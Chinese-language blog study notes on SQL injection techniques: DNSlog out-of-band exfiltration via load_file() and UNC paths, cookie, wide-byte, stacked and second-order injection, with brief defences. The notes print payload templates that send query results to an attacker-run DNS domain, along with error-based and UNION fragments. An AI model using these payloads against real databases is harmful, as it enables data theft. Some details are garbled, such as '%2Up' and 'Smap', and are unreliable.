SQL注入深度解析笔记：从DNSlog外带到高级绕过技术

前言：

该博客是上篇SQL注入方式的补充，DNSLOG外带、cookie注入等，阐述了各注入方式的原理，后面有具体的靶场演示展示。

一、DNSLOG外带注入

二、Cookie注入

一、DNSLOG外带注入

1、DNSLOG外带注入的定义

基本原理：DNS在解析时会留下日志记录，当DNS服务器由攻击者控制时，可通过查看日志获取信息
工作流程：
- 请求域名会在DNS服务器生成日志记录
- 返回对应IP地址
- 攻击者通过自有DNS服务器查看解析日志

利用DNSLOG外带注入所需具备的条件

DNSLOG外带注入概述：

核心工具：需要利用DNSLog平台作为接收端
日志特征：
- 记录包含：DNS查询记录、IP地址、创建时间
- 示例: aa. vivgl7.dnslog. cn|111.23.233.33|2024-01-27 19:49:30
- 构造子域名的特点：
  - 关键特性：
    - 可将获取的域名作为根域名 (如 vivgl7.dnslog. cn)
    - 可自由构造三级子域名 (如 aa. vivgl7.dnslog. cn)
  - 利用方式：
    - 通过 ping命令测试域名解析
    - 子域名部分 (AA) 可被替换为 payload
恶意 payload的构造与传递：

构造方法：
- 将目标信息 (如数据库 user()值)拼接到子域名部分
- 示例: CONCAT('\\', user(),'. test.com')
传递过程：
- 恶意 payload传递到数据库
- 数据库执行函数生成新域名
- 变成类似 root.test.com 的查询请求
- DNS解析与日志记录：
  - 解析步骤：
    - 向目标发起携带 payload的DNS请求
    - 通过DNS解析将关键信息组合成新三级域名
    - 在攻击者控制的NS服务器日志中显示
  - 信息获取：
    - 攻击者在NS服务器查看DNS日志
    - 示例流程：
      - 查询 root.test.com
      - 返回 ns.test.com 服务器地址
      - 最终在DNSLog平台显示带出信息

所需具备的知识

UNC路径：

基本概念: UNC (Universal Naming Convention) 路径是类似\softer这样的网络路径格式，用于访问网络共享资源。
标准格式: 符合\servername\sharename结构, 其中:
- servername是服务器名称
- sharename是共享资源名称
可扩展为\servername\sharename\directory\filename形式
实际示例：如共享本地文件获得的路径
- \iZ53sl3r1890u7Z\Users\Administrator\Desktop\111. txt
组成要素：
- 服务器名: 主机名 (如seven)
- 共享名：开启共享后的资源名称 (如test)
- 完整路径: \seven\test
共享设置：
- 通过文件属性中的"共享"选项卡开启
- 可设置高级共享权限和密码保护
- 必须具有计算机用户账户和密码才能访问
技术实现：
- 基于 Windows的SMB (Server Message Block) 服务
- 用于网络文件共享的标准协议
- 在DNSLOG注入中作为关键访问路径
构造要求：
- 必须包含有效的服务器名和共享名
- 路径需实际可被网络访问
- 在DNSLOG注入中需要精确构造该路径格式
注入所需条件：

secure_file_priv特性：
- 三种状态：
  - 为 null时：不允许任何导入导出操作
  - 指定文件夹时：只能在指定文件夹进行导入导出
  - 未设置时：没有任何限制，可自由导入导出
- 检查方法: 通过SQL命令 show global variables like '%secureW'查看当前设置
- 配置文件位置：在MySQL配置文件 my. ini中设置
- 修改建议：
  - 若需完全开放权限：在配置文件中添加 secure_file_priv=(等号后不填任何内容)
  - 若需限制路径：等号后填写指定文件夹路径
  - 若需禁用: 设置为 secure_file_priv= null
LOAD_FILE()函数：
- 功能：读取文件内容并以字符串形式返回
- 语法: load_file(file_name), 其中 file_name为完整文件路径
- 使用限制：
  - 完全依赖 secure_file_priv设置
  - 当值为 null时完全不可用
  - 当指定文件夹时只能在指定路径使用
  - 当未设置时可读取任意可访问文件
- 实际应用：
  - 常用于MySQL注入攻击中的文件读取
  - 高版本MySQL默认限制较严格
  - 测试环境中常设置为无限制以便开发调试
DNSlog盲注条件：

适用场景：当布尔盲注和时间盲注因发送大量数据包可能触发WAF防护时，可采用DNSlog快速回显数据
核心函数：MySQL中需使用 load_file()函数，该函数既能加载本地文件也能对URL发起请求
必要条件：
- 需要 root权限
- secure_file_priv参数必须为空
- 服务器必须为 Windows操作系统 (需支持UNC路径)
- 数据编码：当查询结果包含特殊符号 (如@)时，需使用 hex()函数进行16进制编码
操作语句构造：
- 基本结构: and (select load_file(concat('\\',(查询语句),'. dnslog.cn/abc')) )
- 关键要点：
  - 斜杠数量：必须使用4条斜杠 (实际转义后保留2条)
  - 域名拼接：查询结果需作为三级域名前缀，后面需加随机路径 (如/ abc)
  - 示例语句：
UNC路径原理：
- 格式要求: 必须满足\server\resource的标准UNC路径格式
- 实现机制：
  - server部分替换为DNSlog域名
  - resource部分可任意指定 (如 abc/ qwe等不存在路径)
- 转义规则：
  - MySQL会将两条斜杠转义为一条
  - 实际需要四条斜杠才能保证最终保留两条
- Windows限制：该技术仅适用于 Windows服务器，因其原生支持UNC路径访问
实战注意事项：
- 业务判断：
  - 导入导出功能较多的网站更可能开启 secure_file_priv
  - 开发水平参差不齐可能导致配置疏忽

二、Cookie注入

基本概念
- 适用场景：主要出现在MSSQL数据库和ASP网站中，MySQL相对较少
- 本质区别：与传统注入原理相同，区别在于参数是通过 Cookie提交而非GET/POST
- 存在原因：开发者通常只过滤GET/POST参数，而忽略了 Cookie也可能传递参数
技术原理
- 参数传递途径：
  - 常规方式: GET(URL显示)/POST(请求体)
  - 特殊方式：Cookie随所有网页访问行为自动传递
- 注入条件：
  - 网站将 Cookie存入数据库
  - 后台会获取 Cookie与数据库进行比较
  - 需要用户登录获取有效 Cookie(部分情况无需登录)
检测方法
- 测试步骤：
  - 使用BurpSuite等工具抓取登录后的请求包
  - 定位 Cookie中的参数传递位置
- 常规注入测试：
  - 单引号测试（观察页面长度变化和报错信息）
  - 双引号测试
  - 注释符测试（ -- 、 # 等）
- 判断依据 :
  - 页面返回长度变化
  - 数据库报错信息显示
  - 特殊符号引起的异常响应
实战示例
- 报错注入实现 :
- 关键注意 :
  - 必须使用 AND 连接语句（缺少 AND 会导致执行失败）
  - 需要正确处理引号闭合
  - 空格可使用加号或 %2Up替代
防护建议
- 防御措施 :
  - 对所有输入参数（包括 Cookie ）进行统一过滤
  - 使用预编译语句
  - 最小权限原则设置数据库账户
- 现状说明 :
  - 现代网站较少直接将 Cookie 存入数据库
  - 更多采用 Session ID 机制
  - 但仍需保持对 ASP 类网站的 Cookie 注入检测意识

三、随机数安全机制

生成方式：基于用户输入的账号密码动态生成
安全特性：
- 爆破难度高：由于随机性特征，难以通过暴力破解方式预测
- 不可逆性：无法通过输出结果反推原始输入

四、参数传递漏洞

数据库参数传递
- 存储位置：
  - Cookie 中可能包含数据库存储的参数
  - 部分参数以固定值形式存在数据库中
- 攻击方式：
  - 参数篡改：当参数固定时可尝试中间人攻击
  - SQL 注入：通过参数传递实现数据库注入
实战案例
- Hype One 漏洞：
  - 典型 SQL 注入案例
  - 通过参数传递实现数据库查询篡改
- 防御措施：
  - 参数随机化处理
  - 输入内容严格校验

五、宽字节注入

宽字节注入引起原因
- 编码机制：当数据库使用 GBK 编码时，会将两个字节合并为一个中文字符。例如输入特殊字符（如单引号）会被转义成斜杠（ \ ）。
- 字节差异： GBK 编码中汉字占 2 个字节，而 ASCII 码字符仅占 1 个字节。这种差异是漏洞产生的根本原因。
- 转译过程：输入的单引号（ ' ）会被转义为斜杠单引号（ ' ），其中斜杠的十六进制表示为 %5c ，单引号为 %27 。
- 漏洞触发：当系统将转义后的 %5c%27 与前置字符错误组合成 GBK 汉字时，会导致单引号 " 逃逸 " ，从而破坏 SQL 语句结构。
宽字节注入利用方法
- 核心原理：通过添加特定字符（如 %df ）使系统将 %5c 与前一个字符组合成汉字，从而使 %27 （单引号）独立生效。
- 典型payload：
  - 输入1' → 被转义为1'（即1%5c%27）
  - 构造%df' → 系统将%df%5c识别为汉字，%27保持单引号原义
- 字符选择：
  - 常用 %df 因 PHP 转义后对应 end 字符
  - 理论上任何能使 %5c 组成有效 GBK 字符的前缀均可使用
- 注入类型适用性：适用于单引号、双引号等多种字符型注入场景
实际注入演示
- 验证步骤：
  - 输入1'观察是否被转义为1\
  - 尝试%df'触发报错语法
  - 确认单引号逃逸后使用常规注入语句
- 后续利用：
  - 可进行报错注入：and extractvalue(1,concat(0x7e,user()))
  - 或联合查询：union select 1,user(),3--+
- 防御注意：
  - 统一使用 UTF-8 编码可避免此问题
  - 过滤特殊字符时需考虑多种编码情况

六、堆叠注入

堆叠注入定义
- 执行机制：通过分号分隔实现多条 SQL 语句连续执行，数据库会将分号识别为语句结束符并继续执行后续语句
- 与联合注入区别：联合注入（ UNION ）只能执行查询语句，而堆叠注入可执行任意 SQL语句（增删改查等）
- 危险性：攻击者可利用该特性进行数据篡改、权限提升等操作，如修改用户密码、创建新表等
数据库测试
- 基础测试：
- 数据操作验证：
- 建表验证：
- 关键限制：需要secure_file_priv参数为空且具备高权限账户才能实现完整攻击链
应用案例
- 例题 : 堆叠注入实例操作
  - 漏洞利用步骤：
    - 识别单引号闭合方式（测试单 / 双引号报错）
    - 构造分号分隔的多语句：
    - 验证数据插入结果
  - 建表注意事项：
    - 必须指定字段属性或复制现有表结构
    - 错误示例：CREATE TABLE xxxx（缺少字段定义）
    - 正确示例：CREATE TABLE xxxx LIKE users 或完整字段定义

七、二次注入

二次注入定义
- 攻击原理：
  - 首次注入：将恶意 SQL 片段（如admin'#）存入数据库
  - 二次触发：当应用程序调用存储数据拼接 SQL 时触发注入
- 典型案例：
  - 注册用户名为admin'#，后续修改密码操作实际修改的是 admin 账户密码
  - 关键 SQL ：UPDATE users SET password='123456' WHERE username='admin'#'AND password='123'
- 防御难点：首次入库时数据合法，仅在二次使用时产生危害

八、Smap

支持模式: 布尔型、时间型、报错注入、联合查询、堆叠注入五种注入模式
兼容数据库: MySQL、Oracle、PostgreSQL、MS SQL、SQLite等主流数据库

smap 支持的注入模式和数据库
- 支持模式 : 布尔型、时间型、报错注入、联合查询、堆叠
- 兼容数据库 : MySQL 、 Oracle 、 PostgreSQL 、 MS SQL 、 SQ
smap 的基本格式
- 基本命令 : smap -u [目标URL]
- 关键参数 :
  - 必须包含-u参数指定目标
  - 针对 GET 请求时 URL 需完整包含参数
- 运行方式 : 需要使用-p参数运行扫描